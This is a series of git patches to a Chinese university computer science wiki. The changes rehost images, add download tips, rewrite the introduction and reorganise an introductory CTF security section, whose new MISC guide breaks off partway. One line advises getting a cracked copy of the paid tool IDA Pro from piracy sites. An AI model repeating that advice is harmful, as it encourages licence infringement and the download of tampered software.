+![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFZwQVTUWkfsbNxYfJkgPDg.png)
一些参考
@@ -121,7 +121,7 @@ - 实现不同设备屏幕尺寸的自适应 - 添加任务热力图(可以参考一下 GitHub 个人主页哦 🤔) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcncVQswB7ziUoV4LvEs35DAe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncVQswB7ziUoV4LvEs35DAe.png) #### 可能涉及的知识点 diff --git a/7.Web开发入门/7.1.2进阶部分.md b/7.Web开发入门/7.1.2进阶部分.md index 778e4ef..e4526d3 100644 --- a/7.Web开发入门/7.1.2进阶部分.md +++ b/7.Web开发入门/7.1.2进阶部分.md @@ -10,11 +10,11 @@ 如果你曾经用过助手的小程序,你可能会在首页看到这样的天气卡片: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTNJhtqw6Km24fKgAnjZtBS.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTNJhtqw6Km24fKgAnjZtBS.png) 当然了,平时大家也会用到各种天气 APP -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnUuqMoTjiOH9NSdYx4GCGme.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnUuqMoTjiOH9NSdYx4GCGme.png) 那么,让我们动手实现一个天气卡片吧~ @@ -63,9 +63,9 @@ ## 🎶 音乐播放器 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnRaBolh8i2FkoIJW69a5g3e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRaBolh8i2FkoIJW69a5g3e.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJ13CDzxp9lwEtGivTuJ4nh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJ13CDzxp9lwEtGivTuJ4nh.png) 相信你平时或多或少都会听音乐,那么你是喜欢用网易云还是 QQ 音乐呢?或者是系统自带的音乐播放器?不过,其实你也可以自己做一个音乐播放器,来满足你对听音乐这件事的所有幻想,听起来是不是很酷呢 😎~那么,来试试看吧! diff --git a/7.Web开发入门/7.1.5附录3:跨端开发.md b/7.Web开发入门/7.1.5附录3:跨端开发.md index f136b61..f5cd32e 100644 --- a/7.Web开发入门/7.1.5附录3:跨端开发.md +++ b/7.Web开发入门/7.1.5附录3:跨端开发.md @@ -69,7 +69,7 @@ 它是基于WebView渲染,通过JS Bridge 把一部分系统能力开放给JS调用。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/235436487dsfhtwuytjyfj.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/235436487dsfhtwuytjyfj.png) WebView容器的工作原理是基于Web技术来实现界面和功能,通过将原生的接口封装、暴露给JavaScript调用,JavaScript编写的页面可以运行在系统自带的WebView中。这样做的优势是,对于前端开发者比较友好,可以很快地实现页面跨端,同时保留调用**原生的能力**,通过搭建桥接层和原生能力打通。但这种设计,跨端的能力受限于桥接层,当调用之前没有的原生能力时,就需要增加桥。另外,浏览器内核的渲染独立于系统组件,无法保证原生体验,**渲染的效果会差不少**。 @@ -80,7 +80,7 @@ WebView容器的工作原理是基于Web技术来实现界面和功能,通过 浏览器提供了一个容器,屏蔽了底层差异,提供了统一的 api(dom api),这样就可以实现同一份代码跑在不同平台的统一的容器里。这个容器叫做浏览器引擎,由 js 引擎、渲染引擎等构成。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/fdegetyjyrj.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/fdegetyjyrj.png) #### PWA 尽管PWA的出现不是为了“跨端”,但他们对于“跨端”的天然支持,能够让一套代码运行在PC、移动两端,就再一次产生了跨端设计实施的可能性。 @@ -107,7 +107,7 @@ PWA 是 Google 于 2016 年提出的概念,于 2017 年正式落地,于 2018 #### Electron -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/wettrjryju.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/wettrjryju.png) Electron 是使用 JavaScript,HTML 和 CSS 构建跨平台的桌面应用程序的框架,可构建出兼容 Mac、Windows 和 Linux 三个平台的应用程序。 @@ -123,7 +123,7 @@ Electron 的跨端原理并不难理解:它通过集成浏览器内核,使 #### React Native React Native 是一个由 Facebook 于2015年9月发布的一款开源的 JavaScript 框架,它可以让开发者使用 JavaScript 和 React 来开发跨平台的移动应用。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/eryyjyuj.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/eryyjyuj.png) React Native 的思路是最大化地复用前端的生态和 Native 的生态,和 WebView 容器的最大区别在于 View 的渲染体系。React Native 抛弃了低效的浏览器内核渲染,转而**使用自己的 DSL 生成中间格式**,然后映射到对应的平台,**渲染成平台的组件**。相对 WebView 容器,体验会有一定的提升。不过,渲染时需要 JavaScript 和原生之间通信,在有些场景可能会导致卡顿。另外就是,渲染还是在Native层,要求开发人员对Native有一定的熟悉度。 @@ -150,7 +150,7 @@ Flutter与上述Recat Native、WebView容器本质上都是不同的,它没有 微信小程序的渲染层与逻辑层分别由两个线程管理,渲染层的界面使用 webview 进行渲染;逻辑层采用 JSCore运行JavaScript代码。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/rtjyujyu.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/rtjyujyu.png) ## 类前端开发:拿过来吧你 @@ -166,7 +166,7 @@ Flutter与上述Recat Native、WebView容器本质上都是不同的,它没有 JS UI框架采用类HTML和CSS Web编程语言作为页面布局和页面样式的开发语言,页面业务逻辑则支持ECMAScript规范的JavaScript语言。JS UI框架提供的类Web编程范式,可以让开发者避免编写UI状态切换的代码,视图配置信息更加直观。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/3465ytyjyjy.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/3465ytyjyjy.png) ## 跨端不只是跨端:爱你的全世界 @@ -174,9 +174,9 @@ JS UI框架采用类HTML和CSS Web编程语言作为页面布局和页面样式 ## 什么样的场景可以跨端? 跨端应用能够真正推进下去,除了有技术保障外,还需要合适的需求场景,使用PC端的功能型产品主要是需要大屏带来的“效率”(办公、个人管理、教育)与“沉浸”(数据、金融、游戏、影视)体验。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ertehry.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ertehry.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ertjyunyunm.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ertjyunyunm.png) 依赖PC、移动双端进行经营管理的电商场景,也有很多内容适合跨端。 @@ -185,25 +185,25 @@ JS UI框架采用类HTML和CSS Web编程语言作为页面布局和页面样式 1. 双端基础组件设计规则对齐(对前端来说是同类组件API、属性对齐以及组件功能形态映射) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ewttrhjy.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ewttrhjy.png) Select对应Picker 1. 布局响应规则(行列变化,聚合变化等); -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/20191118PGkkRz.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/20191118PGkkRz.jpg) 卡片布局的一种聚合变化 1. 交互形态响应规则(导航、交互模式等); -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/20191118aoefIO.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/20191118aoefIO.jpg) 表单型弹窗对应新页面 1. 不同场景的跨端策略,例如Dashboard页面的跨端应保证用户在首屏快速获取关键信息,下图的Bootstrap模板是一个错误示例,移动端的布局方式浪费首屏空间,降低用户获取关键信息的效率。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/20191118BrYZzg.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/20191118BrYZzg.jpg) Mobile first 不是唯一准则。进行具体场景的跨端设计时,我们会从两端场景出发重新对比分析用户的需求差异,明确体验的增强点与折损点。特别是电商中后台场景中:有些业务中用户的主阵地并不是在移动端,而是PC端,比如用户运营策略的设置;有些是两端分别承载不同的场景需求,比如任务的处理。 @@ -217,7 +217,7 @@ Mobile first 不是唯一准则。进行具体场景的跨端设计时,我们 Serverless字面意思是无服务,但并不代表再也不需要服务器了,而是指开发者不需要过多的考虑服务器的问题,计算资源作为服务出现而不是服务器的概念出现。 那么Serverlss,是对全部底层资源和操作的封装,让开发者专注于业务逻辑。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/gfhuewgfuiwe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/gfhuewgfuiwe.png) Serverless = Faas (Function as a service) + Baas (Backend as a service) @@ -254,7 +254,7 @@ Serverless 带来的其实是前端研发模式上的颠覆。相对以往纯前 - 无需在代码内考虑高并发高可靠性,可以专注于业务 - 通过云函数实例的高并发能力,实现业务高并发 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/fhuieufsiofhei.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/fhuieufsiofhei.png) #### 自动弹性压缩 @@ -281,7 +281,7 @@ uni-app 是一个使用 Vue.js 开发所有前端应用的框架,开发者编 - 在Android平台,将.uts文件编译为kotlin代码 - 在iOS平台,将.uts文件编译为swift代码 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/uni-function-diagram.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/uni-function-diagram.png) 1. 区分页面和组件的区别:页面和组件的生命周期 2. 云函数、云数据库 @@ -298,12 +298,12 @@ uni-app 是一个使用 Vue.js 开发所有前端应用的框架,开发者编 1. Frameless:桌面端不仅仅只有方框矩形,而是想你所想。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif) ## 参考作业 尝试使用某种跨端框架和云函数,实现一个查看课表应用,形式不限。推荐使用hdu-lis包拿到数据。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Snipaste_2023-04-22_18-57-44.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-04-22_18-57-44.png) diff --git a/7.Web开发入门/7.Web开发入门.md b/7.Web开发入门/7.Web开发入门.md index 7004859..8b48d0a 100644 --- a/7.Web开发入门/7.Web开发入门.md +++ b/7.Web开发入门/7.Web开发入门.md @@ -107,7 +107,7 @@ A:理论上可以。但一般不会这么做(除了一些实时的网络聊 登登登,后端登场! -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnorsQ6py7AU0LsCtn4f5LSd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnorsQ6py7AU0LsCtn4f5LSd.png) 解释一下: diff --git a/8.基础学科/8.2定积分.md b/8.基础学科/8.2定积分.md index 55aabf3..5c778bc 100644 --- a/8.基础学科/8.2定积分.md +++ b/8.基础学科/8.2定积分.md @@ -1,5 +1,5 @@ 本文主要讲解定积分在计算时运用的各种化简技巧。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/lake_card_mindmap.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/lake_card_mindmap.png) # 一:由不定积分计算定积分 @@ -14,7 +14,7 @@ ## 2.1奇偶对称和周期性 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/picture1.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/picture1.png)
命题1:设函数f在区间$[0,a]$可积,且关于区间中点$\frac{a}{2}$为奇函数,即对于$x\in[0,a]$,有$f(x)=-f(a-x)$,则成立
$\int_0^af(x)dx=0$。
命题2:设函数f在区间$[0,a]$可积,且关于区间中点$\frac{a}{2}$为偶函数,即对于$x\in[0,a]$,有$f(x)=f(a-x)$, 则成立
$\int_0^af(x)dx=2\int_0^{\frac{a}{2}}f(x)dx$。
命题3:若函数f为定义在$-\infty$\int_a^{a+T}f(x)dx=\int_0^Tf(x)dx$
**_Proof:_**
将积分区间拆成多段,带入上文对称公式,之后换元即可,证明的本质是统一了积分区间。
_**Example:**
$\int_0^{2\pi}\frac{dx}{sin^4x+cos^4x}$ @@ -30,7 +30,7 @@ ## 3.1高阶三角函数 $I_0=\int_0^{\pi/2}dx=\pi/2$,$I_1=\int_0^{\pi/2}sinxdx=1$,$I_2=\int_0^{\pi/2}sin^2xdx=\pi/4$
思考:如果$I_n$为一数列$I_n=\int_0^{\pi/2}sin^nxdx$,请问
(1)$I_n$的递推表达式为?
(2)$I_n$的通项表达式为?
(3)$I_n(n\to\infty)$的极限为?
(4)求$\lim_{k\to\infty}\frac{I_{2k+1}}{I_{2k}}$?
答案:
(1),(2)
-![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/picture2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/picture2.png) 推论:由命题4得,对cosx做上述操作得到结果相同。
(3)$I_n(n\to\infty)$的极限为0,如图为$sin^n(x)在[0,1]$的函数图像,因为$sin^n(x)![save.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564801370246-b0067524-94bb-4de3-9d1d-fde22a35d9bf.png#align=left&display=inline&height=158&name=save.png&originHeight=400&originWidth=650&size=32867&status=done&style=none&width=256)
证明:
法一:积分的有界性
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564497996832-07ba349b-e630-4e23-a0ae-781051191e00.png#align=left&display=inline&height=165&name=image.png&originHeight=295&originWidth=596&size=39253&status=done&style=none&width=333)
这里第二项趋于0是因为$sin^n(x)\to0$,从图中也可以观察出来。
法二:
$if\ n=2k$
$I_{2k}=\frac{(2k-1)!!}{(2k)!!}=\frac{(2k-1)\cdot(2k-3)\cdot\cdot\cdot5\cdot3\cdot1}{(2k)(2k-2)\cdot\cdot\cdot6\cdot4\cdot2}\cdot\frac{\pi}{2}$
$0$\therefore I_{2k}\to0$
$\therefore I_{2k+1}=\int_0^{\pi/2}sinx\cdot sin^{2k}xdx=sinx_0\cdot\int_0^{\pi/2}sin^{2k}xdx\to0$
$\therefore I_{n}\to0$
(4)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564147108664-81bb7241-200a-4d44-bc2c-d054f460cf32.png#align=left&display=inline&height=87&name=image.png&originHeight=202&originWidth=1071&size=42020&status=done&style=none&width=462)
维基百科:[沃利斯乘积](https://zh.wikipedia.org/wiki/%E6%B2%83%E5%88%A9%E6%96%AF%E4%B9%98%E7%A7%AF)
3B1B:[沃利斯乘积的几何解释](https://www.bilibili.com/video/av22808876/) From 01718e3b34f7e341e27f4fe3467c8bc03e939873 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sun, 2 Jul 2023 00:42:55 +0800 Subject: [PATCH 15/85] chore: add code download --- .../4.3.1.1程序示例——maze迷宫解搜索.md | 2 +- 4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md | 4 ++++ .../4.3.2.1程序示例——命题逻辑与模型检测.md | 4 ++++ .../4.3.2.2项目:扫雷,骑士与流氓问题.md | 4 ++++ 4.人工智能/4.3.3.1程序示例.md | 5 +++++ 4.人工智能/4.3.3.2项目:遗传.md | 5 +++++ 6 files changed, 23 insertions(+), 1 deletion(-) diff --git a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md index 3ea6bd6..d3c0838 100644 --- a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md +++ b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md @@ -5,7 +5,7 @@ ::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: /4.人工智能/code/MAZE.zip diff --git a/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md index 97ce88f..422ad9a 100644 --- a/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md +++ b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md @@ -4,6 +4,10 @@ 如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 +::: tip 📥 +本节附件下载 +::: + `pip3 install -r requirements.txt` # 理解 diff --git a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md index e0dccba..db1d8ef 100644 --- a/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md +++ b/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md @@ -4,6 +4,10 @@ 完成习题 ::: + +::: tip 📥 +本节附件下载 +::: # Sentence——父类 ```python diff --git a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md index fb051b1..7b0c716 100644 --- a/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md +++ b/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题.md @@ -4,6 +4,10 @@ 如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 +::: tip 📥 +本节附件下载 +::: + `pip3 install -r requirements.txt` # 骑士与流氓问题 diff --git a/4.人工智能/4.3.3.1程序示例.md b/4.人工智能/4.3.3.1程序示例.md index eb50945..c3b1111 100644 --- a/4.人工智能/4.3.3.1程序示例.md +++ b/4.人工智能/4.3.3.1程序示例.md @@ -5,6 +5,11 @@ 完成习题 ::: + +::: tip 📥 +本节附件下载 +::: + 本节代码不做额外梳理,[不确定性问题](./4.3.3%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E9%97%AE%E9%A2%98.md) 中已有解释。 ## Quiz diff --git a/4.人工智能/4.3.3.2项目:遗传.md b/4.人工智能/4.3.3.2项目:遗传.md index e076e63..86fb146 100644 --- a/4.人工智能/4.3.3.2项目:遗传.md +++ b/4.人工智能/4.3.3.2项目:遗传.md @@ -5,6 +5,11 @@ 如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 ::: + +::: tip 📥 +本节附件下载 +::: + ## 背景 - GJB2 基因的突变版本是导致新生儿听力障碍的主要原因之一。每个人都携带两个版本的基因,因此每个人都有可能拥有 0、1 或 2 个听力障碍版本的 GJB2 基因。不过,除非一个人接受基因测试,否则要知道一个人拥有多少个变异的 GJB2 基因并不那么容易。这是一些 "隐藏状态":具有我们可以观察到的影响(听力损伤)的信息,但我们不一定直接知道。毕竟,有些人可能有 1 或 2 个突变的 GJB2 基因,但没有表现出听力障碍,而其他人可能没有突变的 GJB2 基因,但仍然表现出听力障碍。 From f29db590051cbc8fb8f672b66f4e0172b82be30c Mon Sep 17 00:00:00 2001 From: zzm <73225535+HanWu311@users.noreply.github.com> Date: Thu, 13 Jul 2023 21:03:14 +0800 Subject: [PATCH 16/85] =?UTF-8?q?Update=20=E7=AE=80=E4=BB=8B.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 简介.md | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/简介.md b/简介.md index f0bc208..cceb4f6 100644 --- a/简介.md +++ b/简介.md @@ -1,7 +1,9 @@ # HDU计算机科学讲义 ## 序言 -初入大学,大家都会十分迷茫,尤其是计算机相关的同学们。 +相信看到这个wiki的同学都对计算机专业有着或多或少的期待,或许有人因小时候某次电视上的黑客操作所振奋,或许有人是被全民编程的时代浪潮席卷而来,渴望着高薪的工作,或者又有人因为渴望着用编程改变世界。 + +**然而理想很丰满,现实很骨感!** **我们会面临着各种各样的问题**:编程从哪里学起?如何高效利用大学时间?如何平衡绩点与项目经验?如何正确安排学习配比?有没有人带带弟弟?如何问大佬问题得到回复的概率更高? @@ -13,12 +15,24 @@ **出一份计算机科学领域的讲义,一起做大家的领路人。** -这份讲义由 **zzm** 发起,杭电多个学院社团的同学参与协办。参与讲义制作的有 HDU 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 +## 救赎之路? -zzm 花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在 2023 年 3 月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来! +大家学的第一门编程语言将是C语言,发明于1969年至1973年间;互联网目前最流行的后端语言是Java,发明于1995年;甚至互联网,也始于1969年;著名的 TCP/IP 协议,诞生于1983年,这些都会是我们计算机教授的重点内容。我们在《计算机组成原理》中学的是比自己爷爷奶奶年龄还大的冯·诺伊曼体系结构,我们课本中的知识乍一看都是硬核的、甚至有些过时的内容。 + +而近些年的发展,大家有目共睹。2008年,申奥成功,我清晰地记得,大家都还在用诺基亚和2G网络。短短15年,智能机、5G甚至5.5G的出现都彰显互联网的发展超出了大家的想象。 + +前面说到互联网使用最广泛的语言之一是 Java,这也是学校会教的。但,基于这些之上建立起的一个个框架,迭代了一层又一层。常常会闹出这样的笑话,有的学生为了就业,在网上看几年前的编程视频,然后被身边的同学发现,这已经是两个时代前互联网所流行的技术了。 + +2023年是计算机的新纪元。人工智能已经发展到了大家或多或少都有耳闻的GPT。现在的AI远远超过了大伙现在的想象。 + +学校能教给大家经典,夯实计算机内功。而面临计算机日新月异的变化,我们又该何去何从?Linux、Git、机器学习、前后端、计算机组成原理、计算机网络,我们该如何学起?如何快速建立系统而正确的编程思维? + +想必在这里,你或多或少都能得到自己的答案! ![](hdu-cs-qq.png) -欢迎加群 669895692 +欢迎加群与学长交流!我们也可以针对你的喜好为你定制一个方案! + +**群号:669895692** ::: tip 🤔 #### **为什么我要花大量的时间与折磨受这样的训练?** From bba6b8b0729e656fcb2c464dde82970431cc1883 Mon Sep 17 00:00:00 2001 From: ek1ng <761042182@qq.com> Date: Thu, 13 Jul 2023 22:17:11 +0800 Subject: [PATCH 17/85] feat: update security part --- ...{6.2.1SQL 注入.md => 6.1.1SQL 注入.md} | 2 +- .../{6.2Web安全.md => 6.1Web安全} | 5 +- ...用.md => 6.2.1基础工具的使用.md} | 1 + ...md => 6.2.2软件破解、软件加固.md} | 0 ...进制安全.md => 6.2二进制安全.md} | 2 +- .../{6.4密码学.md => 6.3密码学.md} | 6 +- 6.计算机安全/6.4安全杂项 | 146 ++++++++++++++++++ 6.计算机安全/6.计算机安全.md | 20 ++- README.md | 2 +- 9 files changed, 172 insertions(+), 12 deletions(-) rename 6.计算机安全/{6.2.1SQL 注入.md => 6.1.1SQL 注入.md} (99%) rename 6.计算机安全/{6.2Web安全.md => 6.1Web安全} (97%) rename 6.计算机安全/{6.3.1基础工具的使用.md => 6.2.1基础工具的使用.md} (97%) rename 6.计算机安全/{6.3.2软件破解、软件加固.md => 6.2.2软件破解、软件加固.md} (100%) rename 6.计算机安全/{6.3二进制安全.md => 6.2二进制安全.md} (98%) rename 6.计算机安全/{6.4密码学.md => 6.3密码学.md} (96%) create mode 100644 6.计算机安全/6.4安全杂项 diff --git a/6.计算机安全/6.2.1SQL 注入.md b/6.计算机安全/6.1.1SQL 注入.md similarity index 99% rename from 6.计算机安全/6.2.1SQL 注入.md rename to 6.计算机安全/6.1.1SQL 注入.md index 8fc8058..d89e491 100644 --- a/6.计算机安全/6.2.1SQL 注入.md +++ b/6.计算机安全/6.1.1SQL 注入.md @@ -2,7 +2,7 @@ Author: `Liki4` from Vidar-Team -Vidar-Team 2022 招新 QQ 群: 865294458(仅向校内开放) +Vidar-Team 2023 招新 QQ 群: 861507440(仅向校内开放) Vidar-Team 官网: [https://vidar.club/](https://vidar.club/) diff --git a/6.计算机安全/6.2Web安全.md b/6.计算机安全/6.1Web安全 similarity index 97% rename from 6.计算机安全/6.2Web安全.md rename to 6.计算机安全/6.1Web安全 index d5097dc..ab4323b 100644 --- a/6.计算机安全/6.2Web安全.md +++ b/6.计算机安全/6.1Web安全 @@ -2,7 +2,6 @@ > 本文来自HGAME Mini 2022 Web 入门材料,目的是为了帮助新生更好的入门Web安全。 -> 欢迎对安全感兴趣的小伙伴了解[Vidar-Team](https://vidar.club) ## 0x00 前言 本文希望为对Web感兴趣的同学提供在入门方向上的指导,以便与更加平滑的入门Web方向的学习。 @@ -83,6 +82,6 @@ HTTP请求和响应的具体内容可以使用浏览器(推荐使用Chrome、F > 勿以浮沙筑高台 -欢迎对Web安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 2022 招新群中提问哦,祝你在Web安全的学习道路上越走越远~ +欢迎对Web安全感兴趣的你,如果在学习过程中遇到困难可以随时在 Vidar-Team 招新群中提问哦,祝你在Web安全的学习道路上越走越远~ -`VIDAR{Web_1s_3asy_t0_st4rt!!}` \ No newline at end of file +`VIDAR{Web_1s_3asy_t0_st4rt!!}` diff --git a/6.计算机安全/6.3.1基础工具的使用.md b/6.计算机安全/6.2.1基础工具的使用.md similarity index 97% rename from 6.计算机安全/6.3.1基础工具的使用.md rename to 6.计算机安全/6.2.1基础工具的使用.md index 1de7c86..0524324 100644 --- a/6.计算机安全/6.3.1基础工具的使用.md +++ b/6.计算机安全/6.2.1基础工具的使用.md @@ -9,3 +9,4 @@ IDA pro (交互式反编译器专业版)是二进制安全研究人员必备 IDA pro 是收费软件,价格极其昂贵,一般人买不起,因此可以到各大网站下载破解版,注意到一些知名网站下载,比如吾爱破解等,防止下载的软件包含病毒。在编写此文时,IDA pro 更新到了 8.0,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。 ## 简易使用方法 +待更新~ diff --git a/6.计算机安全/6.3.2软件破解、软件加固.md b/6.计算机安全/6.2.2软件破解、软件加固.md similarity index 100% rename from 6.计算机安全/6.3.2软件破解、软件加固.md rename to 6.计算机安全/6.2.2软件破解、软件加固.md diff --git a/6.计算机安全/6.3二进制安全.md b/6.计算机安全/6.2二进制安全.md similarity index 98% rename from 6.计算机安全/6.3二进制安全.md rename to 6.计算机安全/6.2二进制安全.md index d74de30..ca9458c 100644 --- a/6.计算机安全/6.3二进制安全.md +++ b/6.计算机安全/6.2二进制安全.md @@ -11,7 +11,7 @@ reverse 主要研究软件破解,软件加固,计算机病毒等。 现实场景下,这两种方向通常界限比较模糊,统称的二进制安全主要研究漏洞挖掘,漏洞利用,软件加固,计算机病毒,游戏安全等。 ## 入门材料 -> 来自HGAME Mini 2022 Reverse Pwn 入门材料 +> HGAME Mini 2022 Reverse Pwn 入门材料 > Reverse:https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649 > Pwn:https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf diff --git a/6.计算机安全/6.4密码学.md b/6.计算机安全/6.3密码学.md similarity index 96% rename from 6.计算机安全/6.4密码学.md rename to 6.计算机安全/6.3密码学.md index 7f6a384..92cd764 100644 --- a/6.计算机安全/6.4密码学.md +++ b/6.计算机安全/6.3密码学.md @@ -1,9 +1,7 @@ -# 可能用的上的密码学介绍 - -> 本文来自HGAME Mini 2022 Crypto 入门材料, - ## 什么是密码学 +> 本文来自HGAME Mini 2022 Crypto 入门材料。 + 密码学分为密码编码学和密码分析学,前者寻求**提供信息机密性、完整性和非否认性等的方法**,后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF比赛中的密码学题目偏向于密码分析。 ## 如何学习密码学 diff --git a/6.计算机安全/6.4安全杂项 b/6.计算机安全/6.4安全杂项 new file mode 100644 index 0000000..311c511 --- /dev/null +++ b/6.计算机安全/6.4安全杂项 @@ -0,0 +1,146 @@ +# MISC入门指南 + +> 本文来自HGAME Mini 2022 Misc 入门材料 + +## MISC简单介绍 + +Misc 是 Miscellaneous 的缩写,杂项、混合体、大杂烩的意思,它是一个庞大而又有趣的分支,几乎会涉及所有分类的基础,包括内容安全、安全运维、网络编程、AI安全等不属于传统分类的知识,作为发散思维、拓展自己的一个知识面而言也是挺不错的方向。 + +**MISC大概有这些方面内容**: + +- 信息收集 +- 编码转换 +- 隐写分析 +- 数字取证 +- ...... + +![img](https://ctf-wiki.org/misc/figure/all.png) + +## 简单分块介绍 + +### 信息收集 + +#### 基本搜集技巧 + +简单一句话:多问搜索引擎,搜就完事了! + +- 目标 Web 网页、地理位置、相关组织 +- Google 基本搜索与挖掘技巧 (Google hacking) +- 网站、域名、IP:whois 等 +- 通过搜索引擎查找特定安全漏洞或私密信息 +- 组织结构和人员、个人资料、电话、电子邮件 +- 企业等实体:YellowPage、企业信用信息网 +- 国内:百度地图、卫星地图、街景 + +### 编码转换 + +- 各种古典密码 + - 